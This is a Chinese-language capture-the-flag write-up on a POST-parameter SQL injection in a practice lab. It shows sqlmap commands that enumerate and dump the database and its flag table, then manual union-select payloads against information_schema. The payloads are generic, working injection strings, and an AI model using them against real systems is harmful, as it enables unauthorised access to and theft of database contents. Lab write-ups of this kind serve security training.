使用sqlmap进行post型sql注入
输入id可以得到查询结果,但是url中并没有参数提交,使用burp suite抓包。
可以看到请求类型为post,name作为查询参数可以完全控制。
在抓包页面右键选择copy to file,保存到sqlmap文件夹下,类型为txt。
运行 python sqlmap.py -r postinject.txt
存在注入点
运行 python sqlmap.py -r postinject.txt -dbs
获取数据库信息
[10:14:09] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] twosecu1_vuln_06
>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 --tables
Database: twosecu1_vuln_06
[2 tables]
+------------+
| flag |
| transcript |
+------------+
>python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –columns
Database: twosecu1_vuln_06
Table: flag
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(255) |
| id | int(11) |
+--------+--------------+
> python sqlmap.py -r postinject.txt -D twosecu1_vuln_06 -T flag –C id,flag --dump
Database: twosecu1_vuln_06
Table: flag
[2 entries]
+----+-------------+
| id | flag |
+----+-------------+
| 1 | two{Il0ve_5 |
| 2 | tUdy_Up} |
+----+-------------+
得到flag
尝试进行手工注入
输入1' and 1=1#
正常1' and 1=2#
无回显内容
- 获取显示位
测试到1' order by 6#
时报错,所以有5个显示位

- 查看所有数据库
1' union select 1,2,3,4,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

- 查找 twosecu1_vuln_06下的表
1' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='twosecu1_vuln_06'#
flag,transcript
- 查看 flag表中的列名
1' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='flag'#
id,flag
- 查看flag中字段
1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag#
two{Il0ve_5
发现只有前半行,后半部分在下一行
1' union select 1,2,3,4,flag from twosecu1_vuln_06.flag where id=2#
tUdy_Up}
合并得到flag